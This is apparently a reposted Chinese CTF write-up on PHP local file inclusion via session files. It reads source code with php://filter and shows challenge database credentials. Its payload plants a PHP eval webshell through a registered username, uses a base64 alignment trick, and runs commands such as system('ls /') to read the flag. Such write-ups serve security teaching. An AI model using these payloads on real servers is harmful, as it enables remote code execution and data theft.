• CTF PHP文件包含--session


    PHP文件包含 Session

    首先了解一下PHP文件包含漏洞----包含session

    利用条件:session文件路径已知,且其中内容部分可控。

    姿势:

    php的session文件的保存路径可以在phpinfo的session.save_path看到。

    常见的php-session存放位置:

    1. /var/lib/php/sess_PHPSESSID
    2. /var/lib/php/sess_PHPSESSID
    3. /tmp/sess_PHPSESSID
    4. /tmp/sessions/sess_PHPSESSID

    session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。

    要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

    题目:

    http://54.222.188.152:22589/

    解题思路:

    php伪协议读取源码

    点击login,发现链接变为:

    http://54.222.188.152:22589/index.php
    ?action=login.php

    首先读取 login.php 的源码

    http://54.222.188.152:22589/index.php
    ?action=php://filter/read=convert.base64-encode/resource=login.php

    得到login.php源码:

    <?php
        require_once('config.php');
        session_start();
        if($_SESSION['username']) {
            header('Location: index.php');
            exit;
        }
        if($_POST['username'] && $_POST['password']) {
            $username = $_POST['username'];
            $password = md5($_POST['password']);
            $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
            if ($mysqli->connect_errno) {
                die("could not connect to the database:
    " . $mysqli->connect_error);
            }
            $sql = "select password from user where username=?";
            $stmt = $mysqli->prepare($sql);
            $stmt->bind_param("s", $username);
            $stmt->bind_result($res_password);
            $stmt->execute();
            $stmt->fetch();
            if ($res_password == $password) {
                $_SESSION['username'] = base64_encode($username);
                header("location:index.php");
            } else {
                die("Invalid user name or password");
            }
            $stmt->close();
            $mysqli->close();
        }
        else {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
       <title>Login</title>
       <link href="static/bootstrap.min.css" rel="stylesheet">
       <script src="static/jquery.min.js"></script>
       <script src="static/bootstrap.min.js"></script>
    </head>
    <body>
        <div class="container" style="margin-top:100px">  
            <form action="login.php" method="post" class="well" style="220px;margin:0px auto;">
                <h3>Login</h3>
                <label>Username:</label>
                <input type="text" name="username" style="height:30px"class="span3"/>
                <label>Password:</label>
                <input type="password" name="password" style="height:30px" class="span3">
                <button type="submit" class="btn btn-primary">LOGIN</button>
            </form>
        </div>
    </body>
    </html>
    <?php
        }
    ?>

    读取 register.php 的源码

    访问:

    http://54.222.188.152:22589/index.php
    ?action=php://filter/read=convert.base64-encode/resource=register.php

    得到源码:

    <?php
    if ($_POST['username'] && $_POST['password']) {
        require_once('config.php');
        $username = $_POST['username'];
        $password = md5($_POST['password']);
        $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
        if ($mysqli->connect_errno) {
            die("could not connect to the database:
    " . $mysqli->connect_error);
        }
        $mysqli->set_charset("utf8");
        $sql = "select * from user where username=?";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("s", $username);
        $stmt->bind_result($res_id, $res_username, $res_password);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows();
        if($count) {
            die('User name Already Exists');
        } else {
            $sql = "insert into user(username, password) values(?,?)";
            $stmt = $mysqli->prepare($sql);
            $stmt->bind_param("ss", $username, $password);
            $stmt->execute();
            echo 'Register OK!<a href="index.php">Please Login</a>';
        }
        $stmt->close();
        $mysqli->close();
    } else {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
       <title>Login</title>
       <link href="static/bootstrap.min.css" rel="stylesheet">
       <script src="static/jquery.min.js"></script>
       <script src="static/bootstrap.min.js"></script>
    </head>
    <body>
        <div class="container" style="margin-top:100px">  
            <form action="register.php" method="post" class="well" style="220px;margin:0px auto;">
                <h3>Register</h3>
                <label>Username:</label>
                <input type="text" name="username" style="height:30px"class="span3"/>
                <label>Password:</label>
                <input type="password" name="password" style="height:30px" class="span3">
                <button type="submit" class="btn btn-primary">REGISTER</button>
            </form>
        </div>
    </body>
    </html>
    <?php
        }
    ?>

    读取 config.php 的源码

    http://54.222.188.152:22589/index.php
    ?action=php://filter/read=convert.base64-encode/resource=config.php

    得到源码:

    <?php
    $dbhost = 'localhost';
    $dbuser = 'web';
    $dbpass = 'webpass123';
    $dbname = 'web';
    ?>

    读取 index.php 的源码

    http://54.222.188.152:22589/index.php
    ?action=php://filter/read=convert.base64-encode/resource=index.php

    源码:

    <?php
    error_reporting(0);
    session_start();
    if (isset($_GET['action'])) {
        include $_GET['action'];
        exit();
    } else {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Login</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link href="css/bootstrap.css" rel="stylesheet" media="screen">
        <link href="css/main.css" rel="stylesheet" media="screen">
    </head>
    <body>
    <div class="container">
        <div class="form-signin">
            <?php if (isset($_SESSION['username'])) { ?>
                <?php echo "<div class="alert alert-success">You have been <strong>successfully logged in</strong>.</div>
    <a href="index.php?action=logout.php" class="btn btn-default btn-lg btn-block">Logout</a>";}else{ ?>
                <?php echo "<div class="alert alert-warning">Please Login.</div>
    <a href="index.php?action=login.php" class="btn btn-default btn-lg btn-block">Login</a>
    <a href="index.php?action=register.php" class="btn btn-default btn-lg btn-block">Register</a>";
            } ?>
        </div>
    </div>
    </body>
    </html>
    <?php
    }
    ?>

    解题分析:

    拿到了源码,首先进行简单的审计一下。

    SQL注入?:

    有登陆页面,不知道会不会有注入,简单看一下。

    往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。

    看一下register.php,这里仅截取部分代码:

    # register.php
    $mysqli->set_charset("utf8");
    $sql = "select * from user where username=?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s", $username);
    $stmt->bind_result($res_id, $res_username, $res_password);
    $stmt->execute();
    $stmt->store_result();

    再看一下login.php:

    # login.php
    $sql = "select password from user where username=?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s", $username);
    $stmt->bind_result($res_password);
    $stmt->execute();
    $stmt->fetch();

    这里都使用了PHP的PDO处理,因此这里存在sql注入的可能性很小。

    session

    接着再看看,有哪些参数是可控的。

    在login.php中:

    # 第3行
    session_start();
    if($_SESSION['username']) {
        header('Location: index.php');
        exit;
    }
    # 第8行
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
    # 第20行
        $stmt->bind_result($res_password);
    # 第24行
        if ($res_password == $password) {
            $_SESSION['username'] = base64_encode($username);
            header("location:index.php");

    这里使用了session来保存用户会话,php手册中是这样描述的:

    1. PHP 会将会话中的数据设置到 $_SESSION 变量中。
    2. 当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
    3. 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

    考虑到变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。

    要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85

    访问:

    http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85

    这个/var/lib/php5/的session文件路径是测试出来的,常见的也就是上面所述的几种。

    base64_encode

    能包含,并且控制session文件,但要写入可用的payload,还需要绕过:

    $_SESSION['username'] = base64_encode($username);

    如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。

    考虑一下base64的编码过程。比如编码abc。

    未编码: abc
    转成ascii码: 97 98 99
    转成对应二进制(三组,每组8位): 01100001 01100010 01100011
    重分组(四组,每组6位): 011000 010110 001001 100011
    每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
    每组对应转为十进制: 24 22 9 35
    查表得: Y W J j

    考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。

    由于16个字符,恰好满足一下条件:

    16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0

    也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。

    Getflag

    注册一个账号,比如:

    chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

    其base64加密后的长度为128,大于100。

    http://54.222.188.152:22589/index.php
    ?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
    &atebyhc=phpinfo();


    成功getshell。

    访问:

    http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');

    访问:

    http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');

    小结

    考了几个知识点:

    1. php文件包含:伪协议利用
    2. php文件包含:包含session文件
    3. php-session知识及序列化格式
    4. base64的基本原理

    原文链接(https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/)

    任重而道远!

  • 相关阅读:
    (01)Hadoop简介
    (08)java程序连接kafka示例
    (02)使用 java -classpath 命令运行jar包脚本
    (01)Eclipse中导出jar包
    (07)Kafka核心配置详解
    (06)Kafka工作原理解析
    HDU
    HDU
    POJ3525:Most Distant Point from the Sea(二分+半平面交)
    POJ
  • 原文地址:https://www.cnblogs.com/Oran9e/p/8082962.html
Copyright © 2020-2023  润新知